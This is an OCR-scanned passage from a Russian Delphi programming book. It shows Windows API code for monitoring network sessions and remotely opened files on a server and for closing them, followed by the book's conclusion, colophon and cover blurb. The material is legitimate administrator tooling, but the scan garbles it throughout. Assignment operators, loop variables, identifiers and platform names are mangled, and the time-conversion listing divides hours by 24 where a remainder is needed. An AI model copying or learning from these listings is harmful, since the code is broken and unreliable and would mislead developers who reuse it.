256 Глава 5. Сетевая практика Листинг 5.21 (продолжение) SubItems.Add(T1meToStr(SessionInfo502'[1].sesi502_idle_time)); SubItems.Add(SessionInfo502^[i].Sesi502_cltype_name): SubItems.Add(Sess1onInfo502^[i].Sesi502_transport); end; end; end else begin // Далее идет код для 9х-систем If NetSessionEnum(n11, 50, @Sess1onInfo50, Size0f(SessionInfo50), OEntriesRead, OTotalAvial) <> 0 then exit; for 1 := 0 to EntriesRead-1 do begin with IwSessions.Items.Add do begin Caption ;= string(SessionInfo50[i].Ses150_cname); SubItems.Add(SessionInfo50[i].Ses150_username); SubItems.Add(IntToStr(SessionInfo50[i].sesi50_num_opens)); SubItems.Add(TimeToStr(Sessionlnfo50[i].Sesi50_T1me)); SubItems.Add(TimeToStr(SessionInfo50[i].sesi50_1dle_time)); SessionKeys[i]; = Sessionlnfo50[1].sesi50_key; end; end; end; end; Код разбит на две части — для NT-систем и для Эх-систем. В каждой из частей вызывается функция NetSessionEnumNT или NetSessionEnum (в зависимости от ОС) для получения списка подключений. После этого содержимое списка переносит- ся в список ListView. Функции NetSessionEnum и NetSessionEnumNT считывают подключения и работают в разных системах. Функцию NetSessionEnumNT нужно использовать BNT-систе- мах. Она описывается следующим образом: function NetSessionEnumNT( ServerName. UncClientName, UserName; PWideChar; Level; DWORD; BufPtr; Pointer; Prefmaxien: DWORD; EntriesRead, TotalEntries, Resume_Handle: LPDWORD ); DWORD; stdcall;
5.9. Мониторинг сетевой активности 257 В Windows 9х используется NetSessionEnum, которая имеет следующий вид: NetSessionEnum: functionC pszServer: PChar; sLevel: DWORD: pbBuffer: Pointer; cbBuffer: DWORD; pcEntriesRead, pcTotalAvial: Pointer ): integer; stdcall; Рассмотрим параметры функции NetSessionEnumNT, для NetSessionEnum они имеют аналогичное значение: • ServerName — имя сервера, на котором нужно просмотреть подключения; • UncClientName — имя сессии компьютера, информацию о которой необходимо получить. Если имя не указано, то будут получены все сессии; • UserName — имя пользователя, о котором нужно получить информацию о подк- лючениях. Укажите нулевое значение, чтобы получить информацию о подк- лючениях на всех учетных записях; • Level — уровень получения информации. От уровня зависит структура возвра- щаемых данных; , • BufPtr — указатель на буфер, через который будут возвращены данные; • Prefmaxlen — количество записей, которые надо получить. Если указать -1, то- будут получены все записи; • EntriesRead — через этот параметр нам вернут действительное количество про- читанных записей; • Total Entries — через этот параметр нам вернут количество записей в системе. Если этот параметр равен EntriesRead, то мы прочитали все; • Resume Handl е — если вы запросили не все записи и увидели, что параметр Total - Entries больше EntriesRead, то есть прочитаны не все записи, то в данном пара- метре можно указать запись, с которой нужно начать перечисление для полу- чения оставшихся записей. Данные о подключении будут возвращаться в виде массива структур TSession- Info502 для NT-систем и TSessionInfo50 для Эх-систем. Эти структуры имеют сле- дующий вид: TSessionInfo502 = packed record Ses1502_cname: PWldeChar; Sesi502_username: PWldeChar: Ses1502_num_opens; DWORD; Ses1502_time; DWORD; Ses1502_idle_time: DWORD; Sesi502_user_flags: DWORD; Sesi502_cltype_name: PWldeChar; Sesi502_transport; PWldeChar; end; TSessionInfo50 = packed record
258 Глава 5. Сетевая практика Sesi50_cname: PChar; Sesi50_username: PChar; ses150_key; Cardinal; sesi50_num_conns: Word: sesi50_num_opens: Word; sesi50_time: Cardinal; ses-i50_idle_time; Cardinal; ses150_protocol; Byte; padl: Byte; end: Большинство параметров схожи и имеют основные отличия в типах. Рассмотрим параметры структуры TSessionInfo502: • sesi502_cname — имя клиента, запросившего соединение; • sesi502_username — имя пользователя, под которым работает клиент. Это учет- ная запись, от нее зависят права; • sesi502_num_opens — текущее количество открытых файлов, устройств или ка- налов; • sesi 502_time — время пребывания в системе. Время указано в виде целого чис- ла, и о его преобразовании в часы, минуты, секунды мы поговорим чуть позже; • sesi502-idle_time — время простоя с момента последнего обращения к ресур- сам машины. Время указано в виде целого числа, и о его преобразовании в ча- сы, минуты, секунды мы поговорим чуть позже; • sesi502_user_fl ags — флаги, которые могут принимать следующие значения: О SESS_GUEST — используемая учетная запись является гостевой; О SESS_NOENCRYPTION — клиент запросил соединение без шифрования пароля; ♦ sesi 502_с1 type-name — тип клиента; • sesi502_transport — протокол, используемый для подключения. Для Windows 9х в структуре TSessionInfo50 очень важным параметром является sesi50_key. Это ключевое поле, которое позволяет однозначно идентифицировать сессию. Данный ключ впоследствии понадобится для закрытия сессии. Именно поэтому поле сохраняется в отдельном массиве для дальнейшего использования при закрытии. Попробуйте запустить программу, подключиться по сети к этому компьютеру и посмотреть результат. На рис. 5.17 показан результат работы программы в моей сети. Когда я работал администратором, то с помощью этих функций написал програм- му, которая выполняла ряд действий. 1. Следила за тем, чтобы в системе не было подключений сразу двух администра- торов. Если оказывается два «админа», то выдается сообщение, и я прослежи- ваю, откуда и кто пытается использовать такие высокие права на моем сервере. 2. Выдавала сообщение, когда подключения по определенным учетным записям выходили за пределы допустимого.
5.9. Мониторинг сетевой активности 259 Рис. 5.17. Результат работы программы 3. Когда адрес подключившегося компьютера не соответствовал допустимому в моей сети, появлялось предупреждающее сообщение. Для решения подобных задач нужно постоянно обновлять информацию о соеди- нениях и следить за количеством подключений с определенными правами (учет- ными записями). Попробуйте сами решить эти задачи. Главное — сделать это эф- фективно и с наименьшей нагрузкой. Могу сказать, что не надо «сканировать» без перерыва, можно установить промежуток в одну секунду. Если кто-то успел подключиться за этот промежуток времени и выйти из системы, то он, скорее все- го, не успел сделать ничего вредного и такие подключения можно игнорировать. ПРИМЕЧАНИЕ ---------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\MonitorSession. 5.9.2. Преобразование времени В структурах TSessionInfo502 и TSessionInfo50 есть поля, которые позволяют опре- делить время. Время указано в виде большого целого числа (Cardinal), показыва- ющего количество секунд. Для преобразования этого числа в привычный формат времени я написал функ- цию TimeToStr (листинг 5.22) Листинг 5.22. Преобразование числового времени в строку function TlmeToStr(Vaiue: DWORD): String; var d. h, m, s: Integer; begin d := 0; h ;= 0; m := 0; s := Value; //////////////////////////////////// // Разбивка числа на составляющие // //////////////////////////////////// продолжение &
260 Глава 5. Сетевая практика Листинг 5.22 (продолжение) II Секунды if s > 59 then begin m := s div 60; s ;= s mod 60; end; // Минуты if m > 59 then begin h ;= m div 60; m ;= m mod 60; end; // Часы if h > 23 then begin d ;= h div 24; h ;= h div 24; end; Result ; //////////////////////////////////// // Форматирование строки // //////////////////////////////////// // Дни if (d>0) then Result ;= Result+IntToStr(d)+' дней. // Часы if (h<10) then Result ;= Result+'0,+IntToStr(h)+':' else Result ;= Result+IntToStr(h)+';'; // Минуты if (m<10) then Result ;= Result+,0,+IntToStr(m)+';' else Result ;= Result+IntToStr(m)+':'; // Секунды if (s<10) then Result ;= Result+’0'+IntToStr(s) else Result ;= Result+IntToStr(s); end;
5.9. Мониторинг сетевой активности 261 Допустим, что функция переводит количество секунд, прошедших с момента под- ключения. Представим, что клиент был подключен в течение 460 секунд. Сначала процедура разделит 460 на 60 секунд с помощью операции di v (деление без остатка, то есть мы получим только целую часть) для определения количества минут. В дан- ном случае результатом будет 7 минут. Потом определяем остаток от деления опе- рацией mod, и он равен 40 секундам. Получается, что 460 секунд — это 7 минут и 40 секунд. На следующем этапе, если бы количество минут превысило 59, стало бы возмож- ным выделить часы. Вот таким простым способом я перевожу время в секундах в привычный для нас вид и формирую соответствующую строку. 5.9.3. Закрытие сессий По нажатии кнопки Убить в программе, написанной в разделе 5.9.1, будем закры- вать сессию. Сразу же отмечу, что если пользователь открыл какой-нибудь файл, то сессия, скорее всего, не закроется из-за блокировки в системе. При простом просмотре или зависании сессии закрытие должно пройти успешно. Итак, по нажатии кнопки Убить пишем код из листинга 5.23. Листинг 5.23. Закрытие сессии procedure TMonitorForm.bnKi11 Click(Sender: TObject); var wcNameNT; PWideChar; begin if IwSessions.Selected = nil then exit; if bNT then begin wcNameNT ;= PWChar(WideString('\\,+ IwSessions.Items.ItemClwSessions.Selected.Index] Caption)); NetSesslonDelNTCnil. wcNameNT, nil); end else begin NetSesslonDel(nil. PAnsiChar(IwSessions.Items.ItemClwSessions.Selected.Index].Caption), SessionKeysCIwSessions.Selected.Index]); end; end; Здесь мы как раз и пользуемся функциями NetSesslonDelNT и NetSesslonDel, кото- рые были получены из библиотеки по событию OnShow Функции NetSesslonDelNT для NT-систем и NetSesslonDel для Эх-систем объявле- ны следующим образом; function NetSesslonDelNT( ServerName.
262 Глава 5, Сетевая практика UncClientName. UserName: PWideChar ): DWORD; stdcall; function NetSessionDel( pszServer; PChar; pszClientName; PChar; sReserved: Smallint ); DWORD; stdcall; Рассмотрим назначение параметров для обеих функций. Первый параметр — это имя комцьютера, на котором нужно произвести закрытие сессии. Для локальной машины достаточно указать нулевое значение. Второй параметр — имя клиентского компьютера, соединение с которым нужно закрыть. Для NT-систем имя должно иметь формат UN С (Universal Naming Con- vention — правила универсального именования), то есть начинаться с двойного слэ- ша (\\). Для Windows 9х указывается имя без добавления слэшей. Третий параметр в NT-системах необязателен, но может содержать имя пользова- теля. В Windows 9х указывается ключевое поле, связанное с данным соединением. Попробуйте запустить программу и закрыть какое-нибудь соединение. Как я уже говорил, если с этим соединением не связаны открытые ресурсы, то оно должно успешно закрыться. ПРИМЕЧАНИЕ -------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\MonitorSession. 5.9.4. Просмотр открытых ресурсов Помимо списка пользователей любого администратора или хакера интересуют ресурсы сервера. Например, можно защищать особо важные файлы с помощью прав доступа. Но если хакер присвоил права себе и получил доступ к секретной информации, мы об этом узнаем слишком поздно. Хорошо было бы написать про- грамму, которая бы вне зависимости от действий пользователя следила за опре- деленными файлами. Тогда при обращении к этим файлам по сети выдавалось бы сигнальное сообщение. Получить список файлов, открытых по сети, достаточно просто. Создадим новое приложение, поместим на него две кнопки — для просмотра открытых файлов и закрытия выделенного, а также компонент TListView — для отображения спис- ка. Для компонента TListView создайте колонки со следующими именами: • ID — для отображения идентификатора; • Путь — путь к открытому файлу; • Пользователь — имя пользователя (учетная запись), открывшего файл; • Блокировки — количество блокировок. Пример главной формы будущей программы показан на рис. 5.18.
5.9. Мониторинг сетевой активности 263 Рис. 5.18. Форма будущей программы В разделе ргт vate объявления формы нам понадобятся уже знакомые переменные для хранения информации об ОС, а также хранения указателей загруженных ди- намических библиотек. Раздел private описывается таким образом: private {Private declarations} bNT: Boolean: fHandl eNT, fHandle9x: THandle: По событию OnShow определяем версию операционной системы, загружаем соответ- ствующую библиотеку и ищем адреса двух функций — NetFi 1 eEnum и NetSessi onCl ose, необходимых для решения задачи. Эти функции мы рассмотрим чуть позже, по мере написания кода программы. В листинге 5.24 приведен текст осуществления этих операций. Листинг 5.24. Определение ОС, загрузка библиотеки и поиск функций procedure TMonitorForm.FormShow(Sender: TObject): var ver: TOSVerslonlnfo: begin ver.dwOSVersionlnfoSize := SizeOf(TOSVersionlnfo): GetVersionEx(Ver): case Ver.dwPlatformld of V ER_PLATF0RM_WIN32_NT: bNT := True: V ER_PLATF0RM_WIN32_WINDOWS: bNT := False: V ER_PLATF0RM_WIN32s: bNT := False end: if bNT then begin fHandleNT := LoadLibrary('NETAPI32.DLL’): @NetFileEnumNT := GetProcAddress(fHandleNT, 'NetFileEnum'): ONetFileCloseNT := GetProcAddress(fHandleNT, 'NetSessionClose'): end else begin fHandle9x : = LoadLibrary('SVRAPI.DLL'): ONetFileEnum := GetProcAddress(fHandle9x, ’NetFileEnum'): @NetFileClose := GetPrbcAddress(fHandle9x, 'NetFileClose2'): end: end:
264 Глава 5. Сетевая практика По нажатии кнопки Показать мы должны получить информацию обо всех откры- тых файлах. Воспользуемся функцией NetFileEnumNT для NT-систем и NetFil eEnum для Windows 9х. Код, который нужно написать по нажатии этой кнопки, показан в листинге 5.25. Листинг 5.25. Определение списка открытых файлов procedure TMonitorForm.bnShowClick(Sender: TObject): var FilelnfoNT: PFileInfo3Array: F11elnfo9x: array Г0..1024] of TFileInfo502: i. iTE, IRE: Integer: begin IwResources.Items.Cl ear: if bNT then begin // Далее идет код для NT-систем FilelnfoNT := nil: if NetFileEnumNT(nil. nil. nil. 3. OFilelnfoNT. DWORD(-l), @iRE, OiTE. nil) <> 0 then exit: for i := 0 to iRE-1 do begin with IwResources.Items.Add do begin Caption := string(IntToStr(FileInfoNK[i].fi3_id)): Sub 11 ems. Add (Fi 1 e I nf oNK [ i ]. f i 3_pa thname): Subl terns. Add (Fi 1 e I nf oNK [ i ]. f i 3_username): SubItems. Add( IntToStr(Fi 1 elnfoNKfi ]. fi 3_num_l ocks)): end: end: end else begin // Далее идет код для 9х-систем if NetFi1eEnum(ni1. nil. 50. @FileInfo9x, Size0f(FileInfo9x). @iRE. ©iTE) <> 0 then exit: for i := 0 to iRE-1 do begin with IwResources.Items.Add do begin Caption : = string(IntToStr(FileInfo9x[i].fi502_id)): SubItems.Add(Fi1elnfo9x[i].fi502_pathname): SubItems.Add(Fi1elnfo9x[i].fi 502_username): end: end: end: end:
5.9. Мониторинг сетевой активности 265 Работа кода происходит в два этапа: 1. Определение списка открытых файлов с помощью функций NetFil eEnumNT или NetFileEnum. 2. Заполнение списка Li stVi ew полученными значениями. Функции NetFileEnumNT или NetFileEnum в Delphi описываются следующим обра- зом: function NetFileEnumNT( ServerName, BasePath. UserName: PWIdeChar; Level: DWORD: BufPtr: Pointer: Prefmaxien: DWORD; EntriesRead, Total Entries, Resume_Handle: LPDWORD ): DWORD; stdcall: function NetFIleEnum( pszServer. pszBasePath: PChar; sLevel; DWORD; pbBuffer; Pointer; cbBuffer: DWORD: pcEntrlesRead, pcTotalAvail; pointer ): Integer; stdcall: Большинство параметров схожи, поэтому подробно рассмотрим параметры для версии NT, как наиболее актуальной на данный момент: • ServerName — имя сервера, на котором нужно просмотреть открытые файлы. Для просмотра открытых ресурсов локального компьютера достаточно указать ну- левое значение; • BasePath — путь к ресурсам, внутри которых осуществляется поиск. Еслщука- зано нулевое значение, то будут показаны все ресурсы. Если указать папку C:\Windows, то будут отображены открытые ресурсы только этой папки; • UserName — если указать имя учетной записи, то будут перечислены только те ресурсы, которые открыты пользователями с этой учетной записью. Для про- смотра всех ресурсов задается нулевое значение; • Level — уровень получения информации. Для NT-систем используется 3-й уровень, а для Эх-систем — 30-й уровень; • BufPtr — указатель на буфер, через который будет возвращен массив структур с информацией об открытых ресурсах; • Prefmaxi en — максимальное количество возвращаемых записей. Если указать -1, то будут возвращены все записи;
266 Глава 5. Сетевая практика • EntriesRead — с помощью этого параметра возвращается действительное коли- чество прочитанных ресурсов; • Total Entries — с помощью этого параметра мы получим сведения об общем количестве записей в системе; • Resume_Handle — если вы запросили не все записи и увидели, что параметр Total Entries больше EntriesRead, то есть прочитаны не все записи, то в данном параметре можно указать запись, с которой нужно начать перечисление, что- бы получить оставшиеся записи. Функции возвращают нам массив из структур. Для NT-систем это будет указа- тель на память, содержащую структуры THnaTFileInfo3, а для Windows 9х — мас- сив типа TFi 1 elnfo502. Данные структуры описываются в заголовочном файле сле- дующим образом: // Для NT-систем TFileInfo3 = packed record fi3Jd: DWORD; f13_permissions: DWORD; f13_num_locks: DWORD: fi3__pathname: PWldeChar; f13_username; PWldeChar: end; // Для Windows 9x TFileInfo502 = packed record fi502__id: Cardinal: fi502_permissions: WORD; f1502_num_locks: WORD; f1502_pathname: PChar; fi502_username; PChar; fi502_sharename: PChar; end; Рассмотрим параметры структуры TF11eInfo3, для TFileInfo502 они имеют схожее значение: • f i 3_i d — идентификатор, который связан с открытым ресурсом; • fi3__permissions — права доступа к этому ресурсу, возможные действия пользо- вателя с ресурсом. Этот параметр может содержать любое сочетание из следу- ющих флагов: О PERM_FILE_READ — разрешено читать данные; О PERM FI LE WRITE — разрешено записывать данные; О PERM_FILE__CREATE — разрешено создавать файл; • fi3_num_Jocks — определяет количество блокировок на файл, устройство или канал; • fi3_pathname — путь к открытому ресурсу; • fi3_username — учетная запись пользователя, под которой он открыл файл.
5.9. Мониторинг сетевой активности 267 Теперь все в исходном коде становится на свои места. Вы можете запустить про* грамму и посмотреть на результат. Только перед компиляцией не забудьте под- ключить заголовочный файл NetAPI.pas. Результат работы программы в моей локальной сети показан на рис. 5.19. Рис. 5.19. Результат работы программы Можно заметить, что в сети есть один открытый файл, и пользователь GUEST по- лучил доступ к папке E:\net. С использованием описанных в этом примере функций, можно написать програм- му, которая бы следила за*обращениями к определенным ресурсам. При обраще- нии к папке C:\Windows об этом должен выдаваться сигнал администратору. Про- стым пользователям нечего делать в этой папке, а администраторы редко заходят в нее через сеть, ведь можно все сделать и локально (если сервер не удален от администратора). ПРИМЕЧАНИЕ --------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\MonitorResource. 5.9.5. Закрытие открытых ресурсов Последнее, что нам предстоит рассмотреть, — это закрытие ресурса, открытого в сети. Для этого по нажатии кнопки Убить пишем следующий код: procedure TMonitorForm.bnKi11 Click(Sender: TObject); begin if IwResources.Selected = nil then exit; if bNT then NetFi1 eCioseNT(nil.StrToInt(1wResources.Sei ected.Caption)) else NetFi 1 eCiose(ni1.StrToInt(1wResources.Seiected.Capti on)); end; Здесь мы используем функцию NetFi 1 eClose или NetFileCloseNT Они описывают- ся таким образом: function NetFileCloseNT( ServerName: PWideChar;
268 Глава 5. Сетевая практика Fileld; DWORD ): DWORD; stdcall; function NetFileClose( pszServer; PChar; ulFileld; LongWord ); DWORD; stdcall; В обоих вариантах всего два параметра — имя сервера, на котором нужно закрыть файл, и его идентификатор ID, полученный во время перечисления ресурсов. В качестве идентификатора передается заголовок элемента, выделенного в ком- поненте ListView. В стиле vsReport заголовком является первая колонка, то есть ID. ПРИМЕЧАНИЕ --------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\MonitorResource2.
Заключение Программирование, если к нему относиться с точки зрения хакера, вносит в на- шу жизнь много нового и интересного. Для написания шуточных программ при- ходится изучать систему и функции Windows API. Разработчиками Delphi про- делано очень много работы для упрощения создания офисных приложений и баз данных. При этом делать надстройки над всеми функциями Windows API не име- ет смысла, поэтому приходится работать с системой напрямую. Библиотека Windows API — это огромное множество системных функций. Для их полного описания нужно затратить массу времени и сил. Если что-то нужно, то для нас всегда доступен MSDN (Microsoft Development Network), содержащий всю необходимую информацию. Нужно только уметь ее находить. Как мы уже увидели, программирование шуточных программ — это не просто зна- ние системы, но и умение нестандартно мыслить, распознать что-то такое, чего не замечают другие. В данной книге мы рассмотрели несколько шуточных приме- ров, но самая лучшая шутка — придуманная и созданная собственными руками. Оптимизация для кого-то может казаться проблемой, неинтересным занятием или даже пустой тратой времени, но она необходима. В этот момент вы действительно «оттачиваете» свое мастерство программирования, знания системы, Windows API и при этом тренируете навыки и повышаете профессиональный уровень. Если у вас небольшой опыт программирования, то попробуйте всерьез позани- маться оптимизацией. Ищите новые быстрые алгоритмы п пытайтесь реализовать их с максимальной эффективностью. Таким образом вы сможете получить не- оценимый практический опыт, который пригодится в будущих проектах. Программирование сетевых приложений без использования компонентов, пре- доставляемых средой программирования Delphi, не так уж и сложно, требует не много усилий и затрат времени. Если при отказе от визуальности вообще время разработки увеличивается в несколько раз, то при отказе от сетевых компонентов разработка замедляется несильно.
270 Заключение Если при рассмотрении сетевых функций мы что-то упустили, то вы всегда може- те изучить соответствующие стандарты, файлы помощи или даже найти пример- ное решение в исходных кодах компонентов Delphi. Когда у меня не получается найти решение какой-нибудь проблемы, то я пробую найти выход через «исход- ники» папки Delphi\Sources. Код, написанный в этих файлах, создан хорошими специалистами. Его легко читать и разбираться в нем. Я надеюсь, что вы нашли для себя в данной книге много полезного и интересного. Любые комментарии и пожелания я жду на форуме сайта www.vr-online.ru в разде- ле «Книги от Horrific-а». На этом же форуме можно всегда со мной пообщаться и за- дать интересующий вас любой вопрос. Мне очень нужны ваши заметки, чтобы я мог их учитывать в дальнейшей работе. Исследуйте, изучайте, пробуйте, и у вас обязательно все получится. Удачи в ва- ших собственных проектах!
о Флёнов Михаил Евгеньевич Delphi в шутку и всерьез: что умеют хакеры (+CD) Главный редактор Заведующий редакцией Руководитель проекта Литературный редактор Художник Корректоры Верстка Е. Строганова А. Кривцов А. Адаменко Е. Яковлева Н. Биржаков Н. Викторова, Л. Тамаркина А. Зайцев Лицензия ИД № 05784 от 07.09.01. Подписано к печати 22.08.05. Формат 70x100/16. Усл. п. л. 21,93. Доп тираж 4000. Заказ 308 ООО «Питер Принт», 194044, Санкт-Петербург, пр. Б. Сампсониевский, д. 29а. Налоговая льгота — общероссийский классификатор продукции ОК 005-93, том 2; 95 3005 — литература учебная. Отпечатано с готовых диапозитивов в ОАО «Техническая книга» 190005, Санкт-Петербург, Измайловский пр., 29.
Эта книга для тех, кто хочет повысить свой уровень программирования в системе Delphi. Вы узнаете как оформлять свои проекты, чтобы ими легче было управлять, как оптимизировать код, чтобы сделать программу максимально быстрой. Большая часть книги посвящена сетевому программированию без использования вспомогательных компонентов, только на Windows API, что позволяет добиться максимальной производительности и гибкости программы. Прочитав книгу вы научитесь создавать свои собственные прокси-серверы, RreWall, POP3- или SMTP-клиенты, создавать программы-шутки и при этом узнаете массу Полезных вещей о системном окружении, уязвимостях Windows и многое другое Основые темы книги: правильное написание программного кода, работа с системным окружением; функции программного интерфейса Windows API для работы с сетью; сетевое программирование; • программы-шутки, использующие уязвимости Windows . CD-ROM прилагается ....С&пптср